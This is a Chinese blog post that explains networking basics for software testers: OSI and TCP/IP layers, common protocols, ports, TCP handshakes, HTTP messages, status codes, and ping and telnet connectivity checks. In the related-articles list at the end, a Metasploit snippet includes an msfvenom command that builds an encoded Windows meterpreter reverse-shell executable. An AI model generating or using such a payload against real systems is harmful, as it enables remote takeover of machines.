软件测试中的网络问题

news2024/9/25 17:31:27

1.背景

在测试过程中,出现的问题,除了代码问题,还有很多的网络问题,所以需要了解网络知识,这样能发现网络问题,尽快解决就能提高效率。

2.计算机网络体系结构

OSI七层模型:物理层,数据链路层,网络层,传输层,会话层,表示层,应用层。
在这里插入图片描述
在这里插入图片描述

OSI七层模型只是理想的,实际实现的只有4层。

3.TCP/IP协议(传输控制协议/因特网互联协议)

由网络层的IP协议和传输层的TCP协议组成,协议采用了4层的层级结构,也就是说实际上实现了链路层,网络层,传输层,应用层。
在这里插入图片描述
测试的过程中我们重点关注的是网络层和应用层。网络层IP,应用层HTTP,DNS是我们接触到最多的。

4.应用层协议(简单了解)

  • TFTP(Trivial File Transfer Protocol,简单文件传输协议)
    用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。TFTP是一个传输文件的简单协议,它基于UDP协议而实现,但是我们也不能确定有些TFTP协议是基于其它传输协议完成的。此协议设计的时候是进行小文件传输的。比如当需要将程序或者文件同时向许多机器下载时就往往需要使用到TFTP协议。

  • HTTP(Hyper Text Transfer Protocol,超文本传输协议)
    是一个简单的请求-响应协议,它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以ASCII形式给出;而 [9] 消息内容则具有一个类似MIME的格式。

  • SNMP(Simple Network Management Protocol,简单网络管理协议)
    SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。SNMP是管理进程(NMS)和代理进程(Agent)之间的通信协议。

  • FTP(File Transfer Protocol,文件传输协议)
    FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信,使用 TCP 传输。然而, 用户并不真正登录到自己想要存取的计算机上面而成为完全用户, 可用FTP程序访问远程资源, 实现用户往返传输文件、目录管理以及访问电子邮件等等, 即使双方计算机可能配有不同的操作系统和文件存储方式。比如,在大学时期,老师会在他自己的电脑建一个ftp,然后将ftp地址给学生,让学生将作业上传到ftp,老师就可以批阅。

  • SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)
    SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。

  • DNS(Domain Name System,域名系统)
    它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。比如访问www.baidu.com,这是个域名,方便人们记忆,实际映射的是一个ip,IP不便于人们记忆。

  • Telnet
    是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

应用层的这些协议没有谁更厉害,只是在不同的场景使用不同的协议,就像有的护肤品适合干性皮肤,有的适合油性皮肤。

5.传输层协议(理解端口号)

  • TCP
    是面向连接的、可靠的流协议,通过三次握手建立连接,通讯完成时要拆除连接。

  • UDP
    是面向无连接的通讯协议,UDP通讯时不需要接收方确认,属于不可靠的传输,可能会出现丢包现象。

TFTP协议使用的UDP传输,HTTP,FTP,SMTP使用TCP传输。
传输层是通过端口号,端口号用来识别同一台计算机中进行通信的不同应用程序。因此,它也被称为程序地址。
通俗来说,端口号表示计算机里面的一个app,由于计算机里面有很多app,那服务器要把信息传给哪个app呢,就是通过端口号识别的,我们把每个app都设置一个端口号。

在这里插入图片描述
下面的图是重点记住的知识点
此图为重点掌握知识

6.网络层协议(简单了解)

  • IP(Internet Protocol,网际互连协议)
    它可以向传输层提供各种协议的信息,例如TCP、UDP等;对下可将IP信息包放到链路层,通过以太网、令牌环网络等各种技术来传送。
  • ICMP(Internet Control Message Protocol,=控制报文协议)
    用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
  • RIP(Routing Information Protocol,路由信息协议)
    是基于距离矢量算法的路由协议,利用跳数来作为计量标准。在带宽、配置和管理方面要求较低,主要适合于规模较小的网络中。
  • OSPF(Open Shortest Path First,路由协议)
    OSPF适合在大范围的网络:OSPF协议当中对于路由的跳数,它是没有限制的,所以OSPF协议能用在许多场合,同时也支持更加广泛的网络规模。只要是在组播的网络中,OSPF协议能够支持数十台路由器一起运作。

7.三次握手和四次挥手

在这里插入图片描述

  • 客户端与服务端传输数据—三次握手
    首先要连接起来,然后再传数据。
    在这里插入图片描述

《三次握手》的故事:
客户端:服务器,我有请求的能力,可以连接吗?(伸手)
服务器端:客户,我有接收消息和回复的能力,快来连上。(伸手)
客户端:好勒,连上成功。(握手)
传输层的TCP协议需要三次握手。

  • 客户端与服务端断开联系—四次挥手
    在这里插入图片描述

《四次挥手》的故事:
旁白:客户端和服务端信息交流结束,到了要分开的时候了。
客户端:服务器,我走了,可以吗?(示意挥手)
服务器端:你等我一下,我还没忙完。(示意稍等)
旁白:一会儿,服务器端忙完,于是去告诉客户端。
服务器端:我忙完了,你走吧,我先下线了。(示意挥手并收回手)
客户端:好的,那我走了。(示意挥手并收回手)
客户端等了一会儿消息,由于服务器下线了,没有回复客户端,于是客户端也下线了。

在这里插入图片描述
这个请求头里面的字段Connection: keep-alive。意思就是保持客户端和服务器端连接,不要断开,否则,服务器在一段时间没有得到请求,就会断开,用户再操作的时候又要建立连接。

8.TCP/IP中的数据包

TCP首部:源IP端口号,目标IP端口号。
IP首部:源IP地址,目标IP地址,传输协议TCP
以太网包首部:里面有MAC地址,每台手机或电脑都有MAC地址来标识。查询手机电脑的MAC地址方法
此图为重点掌握知识
场景:用户A给用户B发送信息
在这里插入图片描述

9.HTTP请求

  • HTTP请求的传输过程。

在这里插入图片描述

  • HTTP 报文结构
    报文结构:报文首部,空行,报文主体。
    报文格式:请求报文,响应报文

报文首部:服务器端或客户端需处理的请求或响应的内容及属性。在客户端和服务器处理时起至关重要作用的信息几乎都在这里。
空行:回车符,换行符
报文主体:应被发送的数据。所需要的用户和资源的信息都在这里。

(1)请求报文结构:请求行,请求头部,回车换行,请求数据

在这里插入图片描述
在这里插入图片描述

方法内容
Get:从服务器端获取资源或数据。a.Get请求一般用于向服务器请求获取一个资源,没有副作用,一般会在客户端做缓存。b.Get请求发送数据的时候,一般会将请求数据放在url字符串中发送给服务器端,所以从安全性角度来看相对没有Post请求安全性搞,所以get请求一般不会用于比较隐私数据的传输。
Post:向服务器端提交数据a.Post请求一般用于向服务器提交数据并让其去完成一件事,所以这个操作是有副作用的,不会在客户端做缓存。b.Post请求时将请求数据放在请求体body里面,所以一般用于表单数据,登录数据等数据的传输。

(2)响应报文结构:状态行,响应头部,回车换行,消息体
在这里插入图片描述
在这里插入图片描述
响应状态码:1,2,3开头的状态码都表示没问题,只需要等服务器即可。4开头的状态码就是客户端错误,看看客户端请求数据是否有问题,5开头的状态码就是服务器端出现错误。
在这里插入图片描述

常见状态码含义解决方案
404(Not Found)服务器无法找到请求的页面或资源。a.此类报错首先考虑我们的接口写的是否正确。b.其次可以检查资源的路径是否出错。
405(Method Not Allowed )方法不允许,方法禁用。a.一般出现在servlet中比较常见.就是自己的service函数写错了。b.方法名称写错,方法参数类型与标准不一致。c.方法异常、返回值类型与标准不一致。(这一般是前台的问题,我们的解决方案是:把post请求换成get请求)
500(Internal Server Error) 服务器内部错误,不能完成客户的请求。a.500报错一般是后端服务器问题,但也不排除前端出错,例如后台报序列化错误,可能是因为前端没有设置content-Type=application/json。b.重要的是要查看自己写的后端业务逻辑代码有没有问题,根据报错提示查找bug。c.常见的错误位置:NullPointException,据库中提取的数据没有提取到而给另一个对象,传递了空值或注入某个对象,过程中出现空值.,没有正确获取到对象的而出现异常。
501( Not Implemented)尚未实施,或请求格式错误。a.一般考虑我们前端写的ajax中的type:"post/get"是否出错或者from表单中的method:"post/get"是否书写错误
  • HTTP工作过程
    浏览器输入
    dns域名解析:域名与IP映射(第一次访问去DNS找对应IP,不是第一次访问则本机存有IP)
    建立tcp连接(三次握手)
    发送http request:请求信息
    web服务器接收请求
    应用服务器处理业务逻辑
    关闭tcp连接:请求响应完成。如果浏览器在其头部信息中加入了connection:keep-alive,则tcp连接将任然保持打开状态。
    浏览器:渲染响应页面

10.网络联通问题在这里插入图片描述

  • 查看源ip地址目的IP地址是否联通
    如果源ip地址是本机,在cmd命令里面输入:ping 目的IP地址
    在这里插入图片描述
    如果源ip地址不是本机,用ip连接工具,如用MobaXterm连接源IP地址,然后命令里面输入:ping 目的IP地址
    在这里插入图片描述

  • 查看源ip地址与目的ip地址里面的应用(比如app)是否联通
    输入命令: telnet IP地址 端口号
    有时候两个ip联通了,但是目的ip地址的应用没有对外开放,导致源ip地址不能访问。

如果网络没联通,需要开通网策(即越过防火墙),或者开白名单(即授权使用)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/151001.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【链表】leetcode24. 两两交换链表中的节点(C/C++/Java/Js)

leetcode24. 两两交换链表中的节点1 题目2 思路3 代码3.1 C版本(递归迭代)3.2 C版本(递归迭代)3.3 Java版本(递归迭代)3.4 JavaScript版本4 总结1 题目 题源链接 给你一个链表,两两交换其中相…

Deep Learning for Image Super-resolution:A Survey

Abstract图像超分辨率技术是计算机视觉中提高图像和视频分辨率的一类重要的图像处理技术。近年来,深度学习技术在图像超分辨率方面取得了显著进展。本文旨在对基于深度学习的图像超分辨率研究进展进行综述。一般而言,我们可以将现有的SR技术研究大致分为…

C++设计模式:原型模式(详解+实现案例)

文章目录原型模式使用场景实现步骤案例一案例二优缺点原型模式 原型模式: 用原型实例指定创建对象的种类,并通过拷贝这些原型创建新的对象,简单理解就是“克隆指定对象” 使用场景 某些结构复杂的对象的创建工作中由于需求的变化&#xff…

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是:请求报文 3.服务器响应 必须是:响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 : 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件,DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构,加上防倒充电路,所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标: 1、首先对每个路由器进行接口ip的配置 r1: [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符,由10个字母组成 如下图所示,可以按照1-3-3-3的结构划分,用rwx表示拥有权限,r代表read(可读),w代表write(可写),x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) 👍查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量,不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下,内部函数使用了外部函数的变量,并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展,每天我们都会接触到大量的信息,信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代,掌握怎样利用数据就相当于掌握了一项生存技能,很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标: 工具:介绍反编译需要用到的工具原理:反编译基本原理实践:替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本:Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy(切片复制)goto数组Array 和以往的数组有很大的不同 数组时值类型,复制和传参会复制整个数组,而不是指针数组长度必须是常量,且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 🔥 前言 1. 举例理解 2. 源码分析 🔥 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如:Vue.use(VueRouter)、Vue.use(MintUI),这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引? 什么是索引?索引有什么优点?索引有什么缺点? 索引的分类 按照功能分类: 按照数据结构分类 相关数据结构(b-tree、btree) b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域,然后判断这些区域中是否包含我们感兴趣的目标,并调整区域边界从而更准确地预测目标的真实边界框(ground-truth bounding box)。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC,tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 (在tikv_gc_safe_point范围内) DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下,当你搜索“公司活动通知怎么写”时,搜索引擎直接“写”了一篇送到眼前是什么体验?百度的“生成式搜索”正在让这样的场景成为现实。日前,百度宣布,百度搜索将升级“生成式搜索”能力,基于百度自研…

项目管理工具dhtmlxGantt甘特图入门教程(七):在服务器上使用甘特图

dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表,可满足项目管理控件应用程序的所有需求,是最完善的甘特图图表库。 这篇文章给大家讲解如何在服务器上使用DHTMLX Gantt 。 DhtmlxGantt正版试用下载(qun:764…